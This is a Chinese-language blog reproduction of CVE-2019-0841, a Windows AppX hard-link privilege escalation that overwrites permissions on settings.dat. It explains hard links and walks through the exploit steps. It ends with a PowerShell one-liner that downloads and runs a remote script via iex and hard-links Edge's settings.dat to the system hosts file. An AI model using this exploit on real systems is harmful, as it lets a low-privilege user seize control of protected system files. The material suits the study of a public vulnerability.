视频演示:

 

1.背景CVE-2019-0841

enter description here

2.硬链接

我们首先看下什么是硬链接。
https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/
1.首先我们使用作者提到的谷歌项目中的CreateHardlink.exe 创建硬链接
2.我们创建两个文本文件 一个(src.txt)源文件 一个(target.txt)目标文件。
enter description here

3.检查两份文本文档 HASH值。我们并且可以看到两者HASH值相同。.enter description here

4.改变target.txt文本文档 HASH值,随即写入该txt文字。并检查两者HASH值。
enter description here

5.那么我们开始创建硬链接
enter description here

6.我们可以看到两者HASH 随着target的hash变化而变化,并在任意两者txt文件中随即写入文字都内容相同。

3.分析作者博文中的内容.

1.首先事出因Windows AppX中 setting.dat文件 由硬链接处理不当导致的权限覆盖。并由于该文件由NT AUTHORITY\SYSTEM将使用该文件,并且作为低权限用户,您可以完全访问该文件。

2 settings.dat 存储位置 C:\Users<username>\AppData\Local\Packages<Packagename>.enter description here
enter description here

3.如果settings.dat 文件损坏,则删除该文件,并由“C:\Windows\System32\settings.dat”,复制到该目录重置。并重启该应用则可重置。
enter description here

4 最后作者利用自己写的漏洞进行复现enter description here

  1. 过程

enter description here
1.检查要是用setting.dat的应用是否启用,如果是将其结束,因该应用开始则创建不了硬链接
enter description here

2.检查目标文件是否有低权限,如果有则可创建。
enter description here

3.创建硬链接
1.未结束该使用的应用 setting.dat (MicrosoftEdge)
2.已结束该使用的应用 setting.dat MicrosoftEdge)
3.创建完硬链接后,检查权限未发生变化
enter description here

4.修复权限,启动应用(MicrosoftEdge)
enter description here

4.拓展(powershell)

enter description here

https://twitter.com/rogue_kdc/status/1115664188821639173
已向原作者和其他开发者提出该拓展
https://pastebin.com/jXaz8xMx
https://gist.github.com/xillwillx/0377cb2284fa82edb4d2975bab585c45
enter description here

1
2
3
4
5
iex (New-Object net.webclient).downloadstring('https://github.com/FuzzySecurity/PowerShell-Sui
te/raw/master/Native-HardLink.ps1');
start microsoft-edge:;get-process -name MicrosoftEdge | Stop-process;sleep 2;Native-HardLink -
Link c:\users\username\appdata\local\packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\settings\settings.dat -target c:\windows
\system32\drivers\etc\hosts;start microsoft-edge:;get-process -name Microsoftedge | stop-process
1
iex (New-Object net.webclient).downloadstring('https://github.com/FuzzySecurity/PowerShell-Suite/raw/master/Native-HardLink.ps1');start microsoft-edge:;get-process -name MicrosoftEdge | Stop-process;sleep 2;Native-HardLink -Link "$env:localappdata\packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\settings\settings.dat" -target "$env:windir\system32\drivers\etc\hosts";start microsoft-edge:;get-process -name Microsoftedge | stop-process

参考链接:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0841
https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/
https://pastebin.com/jXaz8xMx